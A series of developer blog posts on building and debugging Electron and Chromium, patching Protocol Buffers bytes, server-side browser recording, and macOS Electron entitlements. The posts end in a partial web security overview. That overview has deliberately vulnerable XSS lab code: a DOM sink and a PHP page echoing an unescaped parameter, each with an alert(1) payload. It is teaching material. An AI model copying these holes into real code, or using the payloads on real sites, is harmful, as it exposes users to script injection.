podman-machine-default-root is for root access to the VM. We usually connect as a regular user, so we only care about podman-machine-default. ↩
GVP is a long-running process. ↩
This process has to stay running. ↩

Build / debug Electron source

bh@bugs.cc (Kevin Cui) — Tue, 21 Sep 2021 08:06:11 GMT

This post uses the CLion IDE and macOS

Other IDEs and systems can follow the same approach

Intro {#intro}

electron’s official build docs have some problems. If you follow them exactly, you will not be able to debug. The symptom is that LLDB cannot show variables or context for the current frame. It looks like this:

Build {#build}

To skip the unimportant parts, I will start from where the official docs go wrong.

Official build docs:

Before you start, make sure your macos SDK is correct. See: Setting macOS SDK

The commands in “A note on pulling/pushing” are already wrong. The correct commands are:

cd src/electron
git remote remove origin
git remote add origin https://github.com/electron/electron
# from here on it differs
git fetch
git checkout main
git pull --rebase origin main
git branch --set-upstream-to=origin/main

The docs then tell you to run gclient sync -f. That command sometimes fails on dugite. See: Dugite download failure workaround

This next part is the point of the post

After you finish the commands above, you also need to edit build/config/compiler/compiler.gni.

Change

forbid_non_component_debug_builds = build_with_chromium

to:

forbid_non_component_debug_builds = false

Without this step, gn gen will fail:

ERROR at //build/config/compiler/compiler.gni:302:3: Assertion failed.
  assert(symbol_level != 2 || current_toolchain != default_toolchain ||
  ^-----
Can't do non-component debug builds at symbol_level=2
See //BUILD.gn:12:1: whence it was imported.
import("//build/config/compiler/compiler.gni")

Then when you run gn gen, use this command instead of the official one:

gn gen out/Testing --args="import(\"//electron/build/args/testing.gn\") is_debug=true symbol_level=2 $GN_EXTRA_ARGS"

If you want ccache, use:

gn gen out/Testing --args="import(\"//electron/build/args/testing.gn\") cc_wrapper=\"ccache\" is_debug=true symbol_level=2 $GN_EXTRA_ARGS"

Then build:

ninja -C out/Testing electron

Debug (CLion) {#debug}

If you want to debug with CLion, first make sure ninja -C out/Testing electron has succeeded. Don’t open CLion yet. First create a CMakeLists.txt in the root directory (the same level as src), with this content:

cmake_minimum_required(VERSION 3.20)
project(electron)

set(CMAKE_CXX_STANDARD 14)

set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -O0")

include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src)
include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src/electron)
include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src/out/Testing/gen)

add_executable(electron_exec ${CMAKE_CURRENT_SOURCE_DIR}/src/electron/shell/app/electron_main.cc)

This file is so CLion can index the code and provide completion. Without it, IDE hints will completely fail.

Then open the project in CLion. The project root should look like this:

After opening, you may need to wait tens of minutes for CLion to build / refresh the cache.

Open in order: Setting -> Build, Execution, Deployment -> Custom Build Targets -> + -> Set Build.

It should look like this:

Then set Run/Debug Configurations, as shown:

If you want to open your own app with the Electron you built, add the app path in Program arguments.

Also add CHROMIUM_LLDBINIT_SOURCED=1, otherwise you cannot debug Chromium source.

After that, one more setting is required, otherwise debugging still will not work:

Create ~/.lldbinit with:

script sys.path[:0] = ['/Users/black-hole/Code/Github/electron/src/tools/lldb']
script import lldbinit

Replace the path with your own.

The official docs mention this too, but if you follow their command script import ~/electron/src/tools/lldb/lldbinit.py, it will not work. I don’t know why.

The new ~/.lldbinit format is based on Chromium’s.

Then breakpoints work, as shown:

Issues {#issues}

Setting macOS SDK {#set-macos-sdk}

Per Electron’s official docs, it is best to use MacOSX11.0.sdk.

Download MacOSX11.0.sdk from MacOSX-SDKs into /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/

That is all.

Dugite download failure workaround {#dugite-solution}

When you run gclient sync -f to sync, you may hit:

error /Users/black-hole/Code/Github/electron/src/electron/node_modules/dugite: Command failed.
Exit code: 1
Command: node ./script/download-git.js
Arguments:
Directory: /Users/black-hole/Code/Github/electron/src/electron/node_modules/dugite
Output:
Downloading Git from: https://github.com/desktop/dugite-native/releases/download/v2.29.3-2/dugite-native-v2.29.3-3d467be-macOS-x64.tar.gz
Error raised while downloading https://github.com/desktop/dugite-native/releases/download/v2.29.3-2/dugite-native-v2.29.3-3d467be-macOS-x64.tar.gz GotError [RequestError]: Client network socket disconnected before secure TLS connection was established

The reason is that dugite does not pick up your machine’s proxy when it downloads the binary. You can download it in a browser, then start an http server with python -m SimpleHTTPServer, like this:

Then edit src/electron/node_modules/dugite/script/embedded-git.json to:¹

Then run:

cd src/electron/node_modules/dugite
node ./script/download-git.js

After that, run gclient sync -f again and it should succeed.

The field you change depends on the OS. Edit the entry that matches your system. ↩

Dynamically modifying a Protocol Buffers string message

bh@bugs.cc (Kevin Cui) — Thu, 27 May 2021 08:02:30 GMT

Preface

Requirements changed: we had to move logs that used to go to Alibaba Cloud onto our internal log platform, which speaks Protocol Buffers.

Because reporting used to live on Alibaba Cloud, we let logtail record the user’s request IP for us.

The internal platform’s RESTful API is only a forwarder: the frontend encodes with pb -> sends to the RESTful API -> the server forwards over UDP to the data platform.

So the user’s request IP has to be recorded by that RESTful relay. The problem is the relay is a generic service: it does not turn json into pb. The frontend has to do that. Once the frontend has encoded the log, the relay cannot change it.

That makes it hard for the relay to add an IP.

After thinking it through, three options:

The frontend fetches the IP by requesting a third-party resource
The relay does the encoding
The relay patches the pb message

The first was ruled out immediately: CDN and other issues, too many things we don’t control

The second isn’t great either. As I said, this is a generic service. If we encode here, every pb payload would have to be encoded on the relay later, and it would be slow

So we have to go with the third option.

Notes on string encoding

Before we fix it, one thing has to be true: the IP is a string. So we need to know how Protocol Buffers encodes a string message.

I’ll cite a third-party write-up: Protocol Buffer encoding: strings

For easier reading, here’s a screenshot of the relevant part:

Implementation

Now that we know how it’s encoded, we can patch the bytes.

Here’s the original JSON:

{
  "level": "info",
  "message": "test",
  "lts": 1622078077630,
  "clientIP": "__inject-ip__"
}

Protocol Buffers schema:

syntax = "proto3";

message Log {
    int64 lts = 1; // timestamp
    string level = 2; // log level
    string message = 3; // main log message
    string clientIP = 4; // IP
}

__inject-ip__ is a placeholder that tells the relay what to patch.

After Protocol Buffers encoding, that JSON object becomes:

08 be f5 8c db 9a 2f 22 04 69 6e 66 6f 2a 04 74 65 73 74 3a 0d 5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f

5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f is the hex encoding of __inject-ip__

Per that article, the 3a 0d in front is required Protocol Buffers metadata

3a is the field type and ID
0d is the value length

So we only need to care about 0d and 5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f

Suppose the relay sees the user’s IP as 127.0.0.1

Then we should change 0d to hexadecimal(len(127.0.0.1)), and change 5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f to hexadecimal(127.0.0.1)

With the mechanics clear, we can write it:

package main

import (
	"encoding/base64"
	"encoding/hex"
	"fmt"
	"strings"
)

func main() {
	// base64 representation of the pb Buffer (byte => base64)
	payloadBase64 := "CMK+w7XCjMObwpovIgRpbmZvKgR0ZXN0Og1fX2luamVjdC1pcF9f"

	// decode base64
	payload, err := base64.StdEncoding.DecodeString(payloadBase64); if err != nil {
		panic(err)
	}

	// string to hex
	// 08C2BEC3B5C28CC39BC29A2F2204696E666F2A04746573743A0D5F5F696E6A6563742D69705F5F
	payloadBinaryStr := fmt.Sprintf("%X", payload)

	// hex of the __inject-ip__ placeholder
	ipPlaceholder := "5F5F696E6A6563742D69705F5F"

	// index where the placeholder appears
	placeholderIndex := strings.Index(payloadBinaryStr, ipPlaceholder)

	// the user's IP
	clientIP := "127.0.0.1"

	// hex of clientIP
	clientIPBinaryStr := fmt.Sprintf("%X", clientIP)

	// length of the IP (in hex), used to modify the length of clientIP in the pb
	// because the max length of an IP address is 15 (255.255.255.255), which is no more than 255, we can guarantee clientIPLen is always 2 hex digits (i.e. one byte)
    // %02 also ensures that if there are fewer than 2 digits, it is left-padded with a zero
	clientIPLen := fmt.Sprintf("%02X", len(clientIP))

	payloadBinaryStrPrefix := payloadBinaryStr[:placeholderIndex - 2]
	payloadBinaryStrSuffix := payloadBinaryStr[placeholderIndex + len(ipPlaceholder):]
	payloadBinaryStrNewContent := clientIPLen + clientIPBinaryStr

	// 08C2BEC3B5C28CC39BC29A2F2204696E666F2A04746573743A093132372E302E302E31
	// as you can see, the previous 0D has now been replaced with 09
	payloadBinaryStr = payloadBinaryStrPrefix + payloadBinaryStrNewContent + payloadBinaryStrSuffix

	payloadBinaryByte, err := hex.DecodeString(payloadBinaryStr); if err != nil {
		panic(err)
	}

	newPayloadBase64 := base64.StdEncoding.EncodeToString(payloadBinaryByte)

    // CMK+w7XCjMObwpovIgRpbmZvKgR0ZXN0OgkxMjcuMC4wLjE=
	fmt.Println(newPayloadBase64)
}

Then I changed the original JSON, replaced __inject-ip__ with 127.0.0.1, encoded it with Protocol Buffers again, and the result was identical. So this works.

Download and build Chromium on macOS 10.15

bh@bugs.cc (Kevin Cui) — Tue, 31 Mar 2020 07:50:24 GMT

Download

To download the Chromium source, see Checking out and building Chromium for Mac. Following the docs as-is, though, makes it very hard to actually get the tree down.

Some people suggest cloning via Gitee in China, but Gitee no longer supports a single repo this large (even the enterprise plan cannot handle a project of this size). Chromium with no history already needs 16G.

After some trial and error, fetch --nohooks --no-history chromium is much more likely to succeed. After it finishes, run gclient sync to run the hooks. If you still need history, run git fetch --unshallow, which should give you the same result as fetch chromium.

One thing worth noting: git fetch --unshallow is also very slow. There are hundreds of thousands of commits, so this comes down to luck. If it fails, run git gc --prune=now first, then retry git fetch --unshallow, otherwise the repo just keeps growing.

These steps took me 5 days and used 180G of VPN traffic.¹

Build

My machine at the time:

OSVersion: macOS Catalina 10.15.3
CPU: 2.4 GHz 8-core Intel Core i9
Memory: 32 GB 2667 MHz DDR4

The official docs: Checking out and building Chromium for Mac mention that you need the OS X 10.15 SDK. My system is 10.15.3, so I already have that SDK. I ran gn gen out/Debug to generate the build directory, and it errored…

The error:

********************************************************************************
 WARNING: The NaCL SDK is 32-bit only. macOS 10.15+ removed support for 32-bit
          executables. To fix, set enable_nacl=false in args.gn, or downgrade to
          macOS 10.14. For more information, see https://crbug.com/1049832.
********************************************************************************
ERROR at //components/nacl/features.gni:40:3: Assertion failed.
  assert(false, "NaCL SDK is incompatible with host macOS version")
  ^-----
NaCL SDK is incompatible with host macOS version
See //BUILD.gn:18:1: whence it was imported.
import("//components/nacl/features.gni")
^--------------------------------------

NaCL is 32-bit, and macOS 10.15+ dropped 32-bit support. The message links to more info. Opening that link showed permission denied, so I could not read it…

The message says you only need to add enable_nacl=false in args.gn, but args.gn only exists after gn gen out/Debug. At first glance that looks like a deadlock. After looking around, gn gen can take args. Changing the command to gn gen out/Debug --args="enable_nacl=false" generates the build directory.²

After generating the build directory, out/Debug/args.gn contains:

enable_nacl = false

You also need to add:

# enable debug
is_debug = true
# build as a shared/dynamic library
is_component_build = true

If you then run autoninja -C out/Debug chrome, after half an hour or so it fails and cannot continue:

ninja: Entering directory `./out/Debug'
[1/1] Regenerating ninja files
[18588/41244] OBJCXX obj/components/viz/common/metal_context_provider/metal_api_proxy.o
FAILED: obj/components/viz/common/metal_context_provider/metal_api_proxy.o
../../third_party/llvm-build/Release+Asserts/bin/clang++ -MMD -MF obj/components/viz/common/metal_context_provider/metal_api_proxy.o.d -DVIZ_METAL_CONTEXT_PROVIDER_IMPLEMENTATION -D_LIBCPP_HAS_NO_ALIGNED_ALLOCATION -DCR_XCODE_VERSION=1140 -DCR_CLANG_REVISION=\"n345938-a1762f9c-1\" -D__STDC_CONSTANT_MACROS -D__STDC_FORMAT_MACROS -DCOMPONENT_BUILD -D_LIBCPP_ENABLE_NODISCARD -D_LIBCPP_DEBUG=0 -DCR_LIBCXX_REVISION=375504 -D__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0 -D_DEBUG -DDYNAMIC_ANNOTATIONS_ENABLED=1 -DWEBP_EXTERN=extern -DUSE_EGL -DSK_CODEC_DECODES_PNG -DSK_CODEC_DECODES_WEBP -DSK_ENCODE_PNG -DSK_ENCODE_WEBP -DSK_USER_CONFIG_HEADER=\"../../skia/config/SkUserConfig.h\" -DSK_GL -DSK_CODEC_DECODES_JPEG -DSK_ENCODE_JPEG -DSK_USE_LIBGIFCODEC -DSKIA_DLL -DSKCMS_API=__attribute__\(\(visibility\(\"default\"\)\)\) -DSK_SUPPORT_GPU=1 -DSK_GPU_WORKAROUNDS_HEADER=\"gpu/config/gpu_driver_bug_workaround_autogen.h\" -DSK_BUILD_FOR_MAC -DSK_METAL -DBORINGSSL_SHARED_LIBRARY -DU_USING_ICU_NAMESPACE=0 -DU_ENABLE_DYLOAD=0 -DUSE_CHROMIUM_ICU=1 -DU_ENABLE_TRACING=1 -DU_ENABLE_RESOURCE_TRACING=0 -DICU_UTIL_DATA_IMPL=ICU_UTIL_DATA_FILE -DUCHAR_TYPE=uint16_t -DGOOGLE_PROTOBUF_NO_RTTI -DGOOGLE_PROTOBUF_NO_STATIC_INITIALIZER -DHAVE_PTHREAD -DPROTOBUF_USE_DLLS -I../.. -Igen -I../../third_party/libwebp/src -I../../third_party/khronos -I../../gpu -I../../third_party/perfetto/include -Igen/third_party/perfetto/build_config -Igen/third_party/perfetto -I../../third_party/skia -I../../third_party/libgifcodec -I../../third_party/boringssl/src/include -I../../third_party/icu/source/common -I../../third_party/icu/source/i18n -I../../third_party/ced/src -I../../third_party/protobuf/src -I../../third_party/protobuf/src -Igen/protoc_out -I../../third_party/mesa_headers  -fno-strict-aliasing -fstack-protector-strong -fcolor-diagnostics -fmerge-all-constants -fcrash-diagnostics-dir=../../tools/clang/crashreports -Xclang -mllvm -Xclang -instcombine-lower-dbg-declare=0 -fcomplete-member-pointers -arch x86_64 -Wno-builtin-macro-redefined -D__DATE__= -D__TIME__= -D__TIMESTAMP__= -Xclang -fdebug-compilation-dir -Xclang . -no-canonical-prefixes -Wall -Werror -Wextra -Wimplicit-fallthrough -Wunreachable-code -Wthread-safety -Wextra-semi -Wunguarded-availability -Wno-missing-field-initializers -Wno-unused-parameter -Wno-c++11-narrowing -Wno-unneeded-internal-declaration -Wno-undefined-var-template -Wno-ignored-pragma-optimize -Wno-implicit-int-float-conversion -Wno-final-dtor-non-final-class -Wno-builtin-assume-aligned-alignment -Wno-deprecated-copy -Wno-non-c-typedef-for-linkage -Wno-pointer-to-int-cast -O0 -fno-omit-frame-pointer -gdwarf-4 -g2 -Xclang -debug-info-kind=constructor -isysroot ../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk -mmacosx-version-min=10.10.0 -ftrivial-auto-var-init=pattern -fvisibility=hidden -Xclang -add-plugin -Xclang find-bad-constructs -Wheader-hygiene -Wstring-conversion -Wtautological-overlap-compare -Wno-shorten-64-to-32 -Wno-undefined-bool-conversion -Wno-tautological-undefined-compare -std=c++14 -stdlib=libc++ -fobjc-call-cxx-cdtors -Wobjc-missing-property-synthesis -fno-exceptions -fno-rtti -nostdinc++ -isystem../../buildtools/third_party/libc++/trunk/include -isystem../../buildtools/third_party/libc++abi/trunk/include -fvisibility-inlines-hidden -include obj/components/viz/common/metal_context_provider/precompile.h-mm -c ../../components/viz/common/gpu/metal_api_proxy.mm -o obj/components/viz/common/metal_context_provider/metal_api_proxy.o
../../components/viz/common/gpu/metal_api_proxy.mm:224:17: error: method 'supportsRasterizationRateMapWithLayerCount:' in protocol 'MTLDevice' not implemented [-Werror,-Wprotocol]
@implementation MTLDeviceProxy
                ^
../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Metal.framework/Headers/MTLDevice.h:727:1: note: method 'supportsRasterizationRateMapWithLayerCount:' declared here
-(BOOL)supportsRasterizationRateMapWithLayerCount:(NSUInteger)layerCount API_AVAILABLE(macos(10.15.4), ios(13.0), macCatalyst(13.4));
^
../../components/viz/common/gpu/metal_api_proxy.mm:224:17: error: method 'newRasterizationRateMapWithDescriptor:' in protocol 'MTLDevice' not implemented [-Werror,-Wprotocol]
@implementation MTLDeviceProxy
                ^
../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Metal.framework/Headers/MTLDevice.h:735:1: note: method 'newRasterizationRateMapWithDescriptor:' declared here
-(nullable id<MTLRasterizationRateMap>)newRasterizationRateMapWithDescriptor:(MTLRasterizationRateMapDescriptor*)descriptor API_AVAILABLE(macos(10.15.4), ios(13.0), macCatalyst(13.4));
^
../../components/viz/common/gpu/metal_api_proxy.mm:224:17: error: method 'supportsVertexAmplificationCount:' in protocol 'MTLDevice' not implemented [-Werror,-Wprotocol]
@implementation MTLDeviceProxy
                ^
../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Metal.framework/Headers/MTLDevice.h:831:1: note: method 'supportsVertexAmplificationCount:' declared here
- (BOOL)supportsVertexAmplificationCount:(NSUInteger)count API_AVAILABLE(macos(10.15.4), ios(13.0), macCatalyst(13.4));
^
3 errors generated.
[18605/41244] CXX obj/components/viz/service/main/main/viz_compositor_thread_runner_impl.o
ninja: build stopped: subcommand failed.

I searched the Chromium forum. Someone said using the macOS 10.14 SDK would fix it. I found MacOSX-SDKs on GitHub, cloned it, and ran ln -s /Users/black-hole/Code/Github/MacOSX-SDKs/MacOSX10.14.sdk /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/.

Rebuild still failed. The error looked the same. The details still mentioned MacOSX10.15.sdk, so the build was not picking up the 10.14 SDK.

Looking through the code, build/config/mac/mac_sdk.gni defines:

# Path to a specific version of the Mac SDK, not including a slash at the end.
# If empty, the path to the lowest version greater than or equal to
# mac_sdk_min is used.
mac_sdk_path = ""

After finding that, I added mac_sdk_path = "/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk" to args.gn.

It still failed, and I could not find this error on the Chromium forum.

I searched the Chromium forum again and found macOS: build with 10.15 SDK + toolchain. Someone there provided a patch.

The patch was from October 2019. Trying it produced conflicts:

$ git apply --check ~/Downloads/compilation_10_15_wip.patch

error: failed to apply patch: build/config/mac/BUILD.gn:77
error: build/config/mac/BUILD.gn: patch not applied
error: failed to apply patch: components/viz/common/gpu/metal_api_proxy.mm:573
error: components/viz/common/gpu/metal_api_proxy.mm: patch not applied
error: failed to apply patch: services/device/geolocation/wifi_data_provider_mac.mm:21
error: services/device/geolocation/wifi_data_provider_mac.mm: patch not applied

I looked at the patch and only took the BUILD.gn change. In build/config/mac/BUILD.gn, find defines = [ "__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0" ] and change it to:

defines = [
  "__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0",
  "OBJC_OLD_DISPATCH_PROTOTYPES=1"
]

Also drop the mac_sdk_path arg, and the build completes.

To pull the latest code later, run git rebase-update && gclient sync. ↩
This flag is rarely used. It lets the browser run native machine code. Google said in 2018 Q1 that this technology would be deprecated for everything except Chrome OS (Chrome Apps), and that future work would focus on WebAssembly. Details: WebAssembly Migration Guide ↩

How server-side recording works

bh@bugs.cc (Kevin Cui) — Sat, 07 Dec 2019 07:02:14 GMT

Overview

Features

Server-side recording, in plain terms, is recording a website on a server, including audio, motion, refreshes, navigations, and so on, then saving it as a video file.

How it works

Start Puppeteer with a virtual display via xvfb. Puppeteer opens Chrome, then a Chrome extension API captures a Stream. An HTML5 API converts that stream into a webm file.

Challenges

Recording audio, doing it on a server, and making the whole thing unattended.

Analysis

During the research phase I considered several approaches, such as:

Screenshot with Canvas and stitch frames together
Various Chrome and HTML5 APIs

After testing them, I settled on a Chrome extension API: chrome.tabCapture.capture. The Chrome extension docs describe it like this:

Captures the visible area of the currently active tab. This method can only be used on the currently active page after the extension has been invoked, similar to how activeTab works.

Captures the visible area of the currently active tab is what the API does. The rest is the restriction: you cannot call it directly. A user gesture is required (Chrome takes security seriously).

That restriction was the first problem I hit. The whole recording runs on a server. There is no human in the loop. I looked through Chrome’s source and found the check in tab_capture_api.cc. The core is:

// Make sure either we have been granted permission to capture through an
// extension icon click or our extension is whitelisted.
if (!extension()->permissions_data()->HasAPIPermissionForTab(
        SessionTabHelper::IdForTab(target_contents).id(),
        APIPermission::kTabCaptureForTab) &&
    base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII(
        switches::kWhitelistedExtensionID) != extension_id &&
    !SimpleFeature::IsIdInArray(extension_id, kMediaRouterExtensionIds,
                                base::size(kMediaRouterExtensionIds))) {
  return RespondNow(Error(kGrantError));
}

The important part is:

base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII(
        switches::kWhitelistedExtensionID) != extension_id &&
    !SimpleFeature::IsIdInArray(extension_id, kMediaRouterExtensionIds,
                                base::size(kMediaRouterExtensionIds))

This checks whether the current extension id matches kWhitelistedExtensionID. That switch is a privilege whitelist. When they match, you can skip the user gesture and automate.

kWhitelistedExtensionID is declared in switches.cc:

// Adds the given extension ID to all the permission whitelists.
const char kWhitelistedExtensionID[] = "whitelisted-extension-id";

So I just need to start Chrome with --whitelisted-extension-id set to the extension id.¹

The next problem: the extension id has to be stable, otherwise every build gets a different id. I searched Stack Overflow and found Making a unique extension id and key for Chrome extension?

That is why the project has a key.pem in the extension directory: to pin the extension id.

You may have noticed this API does not expose other methods, so we have to implement pause / resume / stop ourselves. HTML5 MediaRecorder² covers that.

chrome.tabCapture.capture returns a Stream that includes audio and video. MediaRecorder can take it from there.

After calling chrome.tabCapture.capture, we create a MediaRecorder instance and listen for incoming data.

The pause / resume / stop methods we wrote are wrappers around MediaRecorder, which already provides pause / resume / stop. We only need a thin wrapper.

One gotcha: after MediaRecorder.stop(), you still need to stop every track, or the memory stays occupied:

mediaRecorder.stop();
mediaRecorder.stream.getTracks().forEach(track => {
  track.stop();
});

Think of stop as stopping intake. The existing tracks are not closed or released.

That covers the recording structure. Whether the details landed or not, the core of this project is a browser extension. Chrome does not support injecting extensions in headless³ mode.

This runs on a server, and it will eventually go through Docker. Those environments have no desktop. If we cannot use headless, everything above is wasted.

I searched around and found xvfb. Think of it as a virtual desktop. Chrome runs on that virtual display. That unblocked us.

That is why entrypoint.sh has:

# open virtual desktop
xvfb-run --listen-tcp --server-num=76 --server-arg="-screen 0 2048x1024x24" --auth-file=$XAUTHORITY node index.js &

At this point the pipeline worked. The rest is optimization.

The project could record on a server (Docker), but I could not see what was happening inside. I wanted to debug it. So I added VNC and Chrome remote debugging.

VNC is straightforward: install a VNC stack in the Docker image, then add this to entrypoint.sh:

x11vnc -display :76 -passwd password -forever -autoport 5920 &

Chrome remote debugging is a bit more work. Add --remote-debugging-port=9222 to Chrome’s launch flags, and install socat in the image for port forwarding.

9222 is the remote-debugging port, but Chrome only accepts connections from localhost. So socat forwards 9222 to 9223. In entrypoint.sh:

# forward chrome remote debugging protocol port
socat tcp-listen:9223,fork tcp:localhost:9222 &

This Docker image may land on k8s or elsewhere. After deploy, it will eventually get a “please kill yourself” signal (usually when the cluster is short on resources or CPU is too high). When that signal reaches the container (a Pod on k8s), we should roll back data and so on. So entrypoint.sh has:

# get nodejs process pid
NODE_PID=$(lsof -i:80 | grep node | awk 'NR==1,$NF=" "{print $2}')

# forward SIGINT/SIGKILL/SIGTERM to nodejs process
trap 'kill -n 15 ${NODE_PID}' 2 9 15

# waiting nodejs exit
while [[ -e /proc/${NODE_PID} ]]; do sleep 1; done

First get the Node process PID, then forward the signal to it. On the Node side:

let status = false;
const exit = message => {
  if (status) return;

    console.log('the process was kill:', message);

    // rollback operations

  status = true;

  process.exit();
};


process.once('exit', () => exit('exit'));
process.once('SIGTERM', () => exit('sigterm'));
process.on('message', message => {
  if (message === 'shutdown') {
    exit('shutdown');
  }
});

Deployment

Our company deploys on k8s, so the flow looks like this:

The server inserts a recording job into the database. I wrote another service that scans the database on an interval (currently every 3 minutes). When it finds a row, it calls the k8s API to create a Job -> Pod and run one recording. If you are curious, I wrote about this in Flexible scheduling of a k8s cluster based on task volume

Open source

The project is open source. Stars and PRs are welcome: https://github.com/alo7/rebirth

The one catch: when you call this API, the tab you want to record must be active. After the call you can navigate away. ↩
If you are not familiar with this API, think of it as a manager for audio/video streams. ↩
Think of headless as starting Chrome from the command line, talking to it through commands or APIs, with no visible window. ↩

Pitfalls of requesting camera and microphone permission for an Electron app on macOS

bh@bugs.cc (Kevin Cui) — Wed, 23 Oct 2019 01:55:00 GMT

Our company’s Electron app would occasionally Crash during device detection. After digging into it, the app didn’t have camera and microphone permission, which caused the crash during device detection.

On macOS 10.14 and later, you have to explicitly grant microphone and camera permission to your own app. Otherwise it cannot use the system camera or microphone. For details, see: Requesting Authorization for Media Capture on macOS

Apple’s docs say that if you want microphone and camera permission, you have to set the related keys in the plist. They are:

Microphone: NSMicrophoneUsageDescription
Camera: NSCameraUsageDescription

The Description suffix tells you these keys explain why your app needs the microphone and camera.

Packaging an Electron App is usually done with electron-builder. In its docs for Mac packaging there is an extendInfo option: it adds your custom keys to the plist. In electron-builder.yml it looks like this:

mac:
  extendInfo:
    NSMicrophoneUsageDescription: Please allow this app to access your microphone
    NSCameraUsageDescription: Please allow this app to access your camera

After you write that, you’ll find it does nothing. Those two keys only explain why the app is asking for permission. They do not actually request it.

To request camera and microphone permission, you need these keys:

com.apple.security.device.camera
com.apple.security.device.audio-input

There is a prerequisite for adding them: you must turn on hardenedRuntime.¹ It tightens runtime integrity. For details, see: Hardened Runtime Entitlements

So now we add hardenedRuntime:

mac:
  hardenedRuntime: true
  extendInfo:
    NSMicrophoneUsageDescription: Please allow this app to access your microphone
    NSCameraUsageDescription: Please allow this app to access your camera

The actual request is done with the entitlements option. The config looks like this:

electron-builder.yml

mac:
  entitlements: entitlements.mac.plist
  hardenedRuntime: true
  extendInfo:
    NSMicrophoneUsageDescription: Please allow this app to access your microphone
    NSCameraUsageDescription: Please allow this app to access your camera

entitlements.mac.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>com.apple.security.device.audio-input</key>
    <true/>
    <key>com.apple.security.device.camera</key>
    <true/>
  </dict>
</plist>

If you try this, the app will crash on launch, or it won’t even package.

That’s because once you turn on hardenedRuntime to tighten app security, you have to loosen that security a bit. In entitlements.mac.plist you also need:

The final entitlements.mac.plist looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>com.apple.security.cs.allow-jit</key>
    <true/>
    <key>com.apple.security.cs.allow-unsigned-executable-memory</key>
    <true/>
    <key>com.apple.security.cs.allow-dyld-environment-variables</key>
    <true/>
    <key>com.apple.security.device.audio-input</key>
    <true/>
    <key>com.apple.security.device.camera</key>
    <true/>
  </dict>
</plist>

From here, your Electron app should be able to request and use the camera and microphone on macOS.

In electron-builder 21.1.3, hardenedRuntime already defaults to true. In 21.1.2 through 20.41.0, it defaults to false. Older versions don’t have the property at all. ↩

Web security overview

bh@bugs.cc (Kevin Cui) — Thu, 17 Oct 2019 12:26:07 GMT

Preface

A look at web attacks and how they work, including frontend, backend, and ops.

The backend examples use PHP. After comparing options, PHP is the most obvious language for showing this.

Every attack in this post has a Docker lab so you can research and test it yourself.

This post is a partial recap of my older security writeups, with some cleanup and additions. If you want more, see Freebuf Black-Hole.

Frontend

XSS

XSS is executing your JavaScript in someone else’s browser. Everything else is supporting technique.

DOM XSS

Abuse JavaScript’s ability to mutate the DOM.

Where it shows up: separated frontend/backend architectures.

Most developers know not to use eval unless they have to. One reason is security. Does skipping eval mean you are safe? No.

Look at this:

<script>
  window.open(new URL(location.hash.slice(1)).href)
</script>

To make this clearer, a short walkthrough:

Suppose the current URL is http://baidu.com/#http://360.cn. Then location.hash.slice(1) is http://360.cn.

new URL(url).href parses the URL and returns the parsed href. If the URL fails its internal checks, it throws.

Looks fine, right? new URL() is a built-in. It is supposed to filter for us.

So we break that check. The table below is from the URL spec examples:

hello:world is valid. And hello: is a JavaScript label, similar to goto in C. Change the URL to http://baidu.com/#javascript:alert(1) and the bug fires.

Docker lab

Backend

Reflected XSS

Caused by missing or mismatched filtering on the frontend or backend.¹

Where it shows up: MVC.

In MVC, frontend markup is written in the backend language. On a request, the backend builds the page, then returns the HTML to the browser. If XSS happens in that path, the backend is in the loop, so we usually call it reflected XSS.

PHP:

<?php
  // disable the browser's XSS auditor
  header("X-XSS-Protection: 0;");

  $bg = $_GET['bg'];
  if (empty($bg)) {
    $bg = '999';
  }
  echo "<div style='width: 120px; height: 120px; background-color:#$bg'>I am a little square</div>";
?>

It reads bg from the query string and uses it as a background color. Looks fine at first. $bg is attacker-controlled. Close the attribute and you are in:

http://127.0.0.1:8082/?bg=123' onclick='alert(1)

Put that in bg and the markup becomes:

<div style=‘width: 120px; height: 120px; background-color:#123' onclick='alert(1)’>I am a little square</div>

Docker lab

Stored XSS

Reflected XSS, plus a write to the database.

The code:

// get the client's IP address
// this code is from: https://stackoverflow.com/questions/3003145/how-to-get-the-client-ip-address-in-php
$ipaddress = 'UNKNOWN';
$keys = array('HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR');
foreach($keys as $k) {
  if (isset($_SERVER[$k]) && !empty($_SERVER[$k])) {
    $ipaddress = $_SERVER[$k];
    break;
  }
}

// get the content and encode/filter it
$content = htmlspecialchars($_POST['content'], ENT_QUOTES);

